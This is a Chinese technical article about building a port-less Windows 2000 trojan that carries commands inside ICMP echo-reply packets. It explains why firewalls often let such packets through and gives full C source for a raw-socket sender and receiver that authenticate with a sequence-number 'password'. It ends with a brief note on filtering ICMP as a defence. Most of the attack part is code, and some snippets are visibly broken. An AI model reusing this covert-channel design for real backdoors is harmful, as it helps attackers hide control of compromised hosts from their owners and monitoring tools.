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| 关键词： nbsp ICMP 报文 unsigned IcmpHeader data cksum USHORT int char |
本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。（本文默认的操作系统为Win2000，开发环境为VC++6.0。） 大家知道，一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的，但是这种方法有一个致命的漏洞，就是木马在等待和运行的过程中，始终有一个和外界联系的端口打开着，这是木马的阿喀琉斯之踵（参看希腊神话《特洛伊战纪》），也是高手们查找木马的杀手锏之一（Netstat大法）。所谓道高一尺，魔高一丈，木马也是在斗争中不断进步不断成长的，其中一种ICMP木马就彻底摆脱了端口的束缚，成为黑客入侵后门工具中的佼佼者。 什么是ICMP呢？ICMP全称是Internet Control Message Protocol（互联网控制报文协议）它是IP协议的附属协议，用来传递差错报文以及其他需要注意的消息报文，这个协议常常为TCP或UDP协议服务，但是也可以单独使用，例如著名的工具Ping（向Mike Muuss致敬），就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。 实际上，ICMP木马的出现正是得到了Ping程序的启发，由于ICMP报文是由系统内核或进程直接处理而不是通过端口，这就给木马一个摆脱端口的绝好机会，木马将自己伪装成一个Ping的进程，系统就会将ICMP_ECHOREPLY（Ping的回包）的监听、处理权交给木马进程，一旦事先约定好的ICMP_ECHOREPLY包出现（可以判断包大小、ICMP_SEQ等特征），木马就会接受、分析并从报文中解码出命令和数据。 ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说，ICMP报文是被列为危险的一类：从Ping of Death到ICMP风暴到ICMP碎片攻击，构造ICMP报文一向是攻击主机的最好方法之一，因此一般的防火墙都会对ICMP报文进行过滤；但是ICMP_ECHOREPLY报文却往往不会在过滤策略中出现，这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作，这样对于用户是极其不友好的。如果设置正确，ICMP_ECHOREPLY报文也能穿过网关，进入局域网。为了实现发送/监听ICMP报文，必须建立SOCK_RAW（原始套接口），首先，我们需要定义一个IP首部： typedef struct iphdr { unsigned int version:4; // IP版本号，4表示IPV4 unsigned int h_len:4; // 4位首部长度 unsigned char tos; // 8位服务类型TOS unsigned short total_len; // 16位总长度（字节） unsigned short ident; //16位标识 unsigned short frag_and_flags; // 3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; // 8位协议 (TCP, UDP 或其他) unsigned short checksum; // 16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址}IpHeader; 然后定义一个ICMP首部：typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号（一般用进程号作为识别号） USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳}IcmpHeader; 这时可以同过WSASocket建立一个原始套接口：SockRaw=WSASocket( AF_INET, //协议族 SOCK_RAW, //协议类型，SOCK_RAW表示是原始套接口 IPPROTO_ICMP, //协议，IPPROTO_ICMP表示ICMP数据报 NULL, //WSAPROTOCOL_INFO置空 0, //保留字，永远置为0 WSA_FLAG_OVERLAPPED //标志位 ); 注：为了使用发送接收超时设置（设置SO_RCVTIMEO, SO_SNDTIMEO），必须将标志位置为WSA_FLAG_OVERLAPPED 随后你可以使用fill_icmp_data子程序填充ICMP报文段：fill_icmp_data函数：void fill_icmp_data(char * icmp_data, int datasize){ IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号 icmp_hdr->i_cksum = 0; //校验和初始化 icmp_hdr->i_seq = 0; //序列号初始化 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A"，你可以填充任何代码和数据，实际上木马和控制端之间就是通过数据段传递数据的。} 再使用CheckSum子程序计算ICMP校验和： 调用方法：((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);CheckSum函数： USHORT CheckSum (USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) cksum += *(UCHAR*)buffer; cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum);}// CheckSum函数是标准的校验和函数，你也可以用优化过的任何校验和函数来代替它 随后，就可以通过sendto函数发送ICMP_ECHOREPLY报文： sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));作为服务端的监听程序，基本的操作相同，只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和命令:recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);decode_resp(recvbuf,recv_icmp,&from);decoder函数：void decoder(char *buf, int bytes,struct sockaddr_in *from) { IpHeader *iphdr; IcmpHeader *icmphdr; unsigned short iphdrlen; iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word，要转换成bytes必须*4 icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长加buf printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址 printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号 printf(" icmp_type=%d",icmphdr->i_type); //取出类型 printf(" icmp_code=%d",icmphdr->i_code); //取出代码 for(i=0;//取出数据段} 注：在WIN2000下使用SOCK_RAW需要管理员的权限。 对于ICMP木马，除非你使用嗅探器或者监视windows的SockAPI调用，否则从网络上是很难发现木马的行踪的（关于进程的隐藏及破解会在下一篇文章中进行讨论），那么，有什么可以补救的方法呢？有的，就是过滤ICMP报文，对于win2000可以使用系统自带的路由功能对ICMP协议进行过滤，win2000的Routing & Remote Access功能十分强大，其中之一就是建立一个TCP/IP协议过滤器：打开Routing & Remote Access，选中机器名，在IP路由->General->网卡属性中有两个过滤器-输入过滤和输出过滤，只要在这里将你想过滤的协议制定为策略，ICMP木马就英雄无用武之地了；不过值得注意的是，一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文，你就别想再用Ping这个工具了；如果过滤了所有的ICMP报文，你就收不到任何错误报文，当你使用IE访问一个并不存在的网站时，往往要花数倍的时间才能知道结果（嘿嘿，网络不可达、主机不可达、端口不可达报文你一个都收不到），而且基于ICMP协议的tracert工具也会失效，这也是方便和安全之间的矛盾统一了吧。附录：1、发送ICMP_ECHOREPLY报文的程序代码#include <winsock2.h>#include <stdio.h>#include <stdlib.h>#define ICMP_ECHO 8 //ICMP回显请求报文的类型值为8#define ICMP_ECHOREPLY 0 //ICMP回显应答报文的类型值为0#define ICMP_MIN 8 // ICMP报文的最小长度是8字节(仅为首部)#define ICMP_DEST_IP "127.0.0.1" //目标主机的IP#define ICMP_PASSWORD 1234 //密码设置，用来识别控制端// 定义IP 首部 typedef struct iphdr {unsigned int version:4; //IP版本号，4表示IPV4 unsigned int h_len:4; //4位首部长度 unsigned char tos; //8位服务类型TOS unsigned short total_len; //16位总长度（字节） unsigned short ident; //16位标识 unsigned short frag_and_flags; //3位标志位 unsigned char ttl; //8位生存时间 TTL unsigned char proto; //8位协议 (TCP, UDP 或其他) unsigned short checksum; //16位IP首部校验和 unsigned int sourceIP; //32位源IP地址 unsigned int destIP; //32位目的IP地址}IpHeader;// 定义ICMP首部typedef struct _ihdr { BYTE i_type; //8位类型 BYTE i_code; //8位代码 USHORT i_cksum; //16位校验和 USHORT i_id; //识别号（一般用进程号作为识别号） USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳}IcmpHeader;#define STATUS_FAILED 0xFFFF#define DEF_PACKET_SIZE 64 //定义报文的大小为64字节#define MAX_PACKET 6500 //定义最大报文的大小为6500字节#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))#define xfree(p) HeapFree (GetProcessHeap(),0,(p))void fill_icmp_data(char *,int); //填充ICMP报文的子程序USHORT checksum(USHORT *, int); //计算校验和的子程序 int main(int argc, char **argv){ WSADATA wsaData; SOCKET sockRaw = (SOCKET)NULL; struct sockaddr_in dest,from; struct hostent * hp; int bread,datasize,retval,bwrote; int fromlen = sizeof(from); int timeout = 1000; char *icmp_data; char *recvbuf; unsigned int addr=0; USHORT seq_no = 0; static int nCount=0; if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0) {fprintf(stderr,"WSAStartup failed: %d\n",retval);ExitProcess(STATUS_FAILED);}if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) {fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());ExitProcess(STATUS_FAILED);} __try { if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) {fprintf(stderr,"Failed to set recv timeout: %d\n",WSAGetLastError());__leave;} //设置接收超时 if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR) {fprintf(stderr,"Failed to set send timeout: %d\n",WSAGetLastError());__leave;} //设置发送超时 memset(&dest,0,sizeof(dest)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP); datasize=DEF_PACKET_SIZE; datasize+=sizeof(IcmpHeader); icmp_data=xmalloc(MAX_PACKET); recvbuf=xmalloc(MAX_PACKET); if(!icmp_data) {fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());__leave;} memset(icmp_data,0,MAX_PACKET); printf("\nSend Packet to %s Success!\n",ICMP_DEST_IP); fill_icmp_data(icmp_data,datasize); //填充ICMP报文 ((IcmpHeader*)icmp_data)->timestamp = GetTickCount(); //设置时间戳 ((IcmpHeader*)icmp_data)->i_seq = ICMP_PASSWORD; //设置序列号，实际使用时可以用这个密码验证 ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); //计算校验和 bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); //发送报文 if (bwrote == SOCKET_ERROR) { if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n"); fprintf(stderr,"sendto failed: %d\n",WSAGetLastError()); __leave; } if (bwrote < datasize ) fprintf(stdout,"Wrote %d bytes\n",bwrote); } __finally { if (sockRaw != INVALID_SOCKET) closesocket(sockRaw); WSACleanup(); } return 0;}//计算校验和函数USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size -=sizeof(USHORT); } if(size ) { cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum);}//填充ICMP数据报函数void fill_icmp_data(char * icmp_data, int datasize){ int i; char SendMsg[20]="Hello World!"; IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = ICMP_ECHOREPLY; icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT) GetCurrentProcessId(); icmp_hdr->i_cksum = 0; icmp_hdr->i_seq = 0; datapart = icmp_data + sizeof(IcmpHeader); for(i=0;i<sizeof(SendMsg);i++) datapart[i]=SendMsg[i]; }2、接收ICMP_ECHOREPLY报文的程序代码#include <winsock2.h>#include <stdio.h>#include <stdlib.h>#define ICMP_ECHO 8#define ICMP_ECHOREPLY 0#define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)#define ICMP_PASSWORD 1234/* The IP header */typedef struct iphdr {unsigned int h_len:4; //4位首部长度unsigned int version:4; //IP版本号，4表示IPV4unsigned char tos; //8位服务类型TOSunsigned short total_len; //16位总长度（字节）unsigned short ident; //16位标识unsigned short frag_and_flags; //3位标志位unsigned char ttl; //8位生存时间 TTLunsigned char proto; //8位协议 (TCP, UDP 或其他)unsigned short checksum; //16位IP首部校验和unsigned int sourceIP; //32位源IP地址unsigned int destIP; //32位目的IP地址}IpHeader;//定义ICMP首部typedef struct _ihdr {BYTE i_type; //8位类型BYTE i_code; //8位代码USHORT i_cksum; //16位校验和 USHORT i_id; //识别号（一般用进程号作为识别号）USHORT i_seq; //报文序列号 ULONG timestamp; //时间戳}IcmpHeader;#define STATUS_FAILED 0xFFFF#define DEF_PACKET_SIZE 640#define MAX_PACKET 6500#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))#define xfree(p) HeapFree (GetProcessHeap(),0,(p))void fill_icmp_data(char *, int);USHORT checksum(USHORT *, int);void decode_resp(char *,int ,struct sockaddr_in *);int main(int argc, char **argv){ WSADATA wsaData; SOCKET sockRaw = (SOCKET)NULL; struct sockaddr_in dest,from; struct hostent * hp; int bread,datasize,retval; int fromlen = sizeof(from); int timeout = 1000; char *icmp_data; char *recvbuf; unsigned int addr=0; USHORT seq_no = 0; if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){fprintf(stderr,"WSAStartup failed: %d\n",retval);ExitProcess(STATUS_FAILED); } sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED); if (sockRaw == INVALID_SOCKET) {fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());ExitProcess(STATUS_FAILED); } __try{ bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)); if(bread == SOCKET_ERROR) { fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError()); __leave; } bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)); if(bread == SOCKET_ERROR) { fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError()); __leave; } memset(&dest,0,sizeof(dest)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr("207.46.230.218");//任意IP地址 datasize = DEF_PACKET_SIZE; datasize += sizeof(IcmpHeader); icmp_data = xmalloc(MAX_PACKET); recvbuf = xmalloc(MAX_PACKET); if (!icmp_data) { fprintf(stderr,"HeapAlloc failed %d\n",GetLastError()); __leave; } memset(icmp_data,0,MAX_PACKET); while(1) { static int nCount = 0; int bwrote; fill_icmp_data(icmp_data,datasize); ((IcmpHeader*)icmp_data)->i_cksum = 0; ((IcmpHeader*)icmp_data)->timestamp = GetTickCount(); ((IcmpHeader*)icmp_data)->i_seq = 1111; ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize); bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest)); bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen); if (bread == SOCKET_ERROR){ if (WSAGetLastError() == WSAETIMEDOUT) { continue; } fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError()); __leave; } decode_resp(recvbuf,bread,&from); Sleep(1000); } } __finally {if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);WSACleanup(); } return 0;}void decode_resp(char *buf, int bytes,struct sockaddr_in *from) {int i;IpHeader *iphdr;IcmpHeader *icmphdr;unsigned short iphdrlen;iphdr = (IpHeader *)buf;iphdrlen = iphdr->h_len * 4 ; icmphdr = (IcmpHeader*)(buf + iphdrlen);if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段{ printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); printf(" IcmpType %d",icmphdr->i_type); printf(" IcmpCode %d",icmphdr->i_code); printf("\n"); for(i=0;i<50;i++) printf("%c",*(buf+iphdrlen+i+12));}else printf("Other ICMP Packets!\n");printf("\n"); }USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) {cksum+=*buffer++;size -=sizeof(USHORT); } if(size ) {cksum += *(UCHAR*)buffer; } cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >>16); return (USHORT)(~cksum);}void fill_icmp_data(char * icmp_data, int datasize){ IcmpHeader *icmp_hdr; char *datapart; icmp_hdr = (IcmpHeader*)icmp_data; icmp_hdr->i_type = ICMP_ECHO; icmp_hdr->i_code = 0; icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); icmp_hdr->i_cksum = 0; icmp_hdr->i_seq = 12; datapart = icmp_data + sizeof(IcmpHeader); memset(datapart,'A', datasize - sizeof(IcmpHeader));} 完 |
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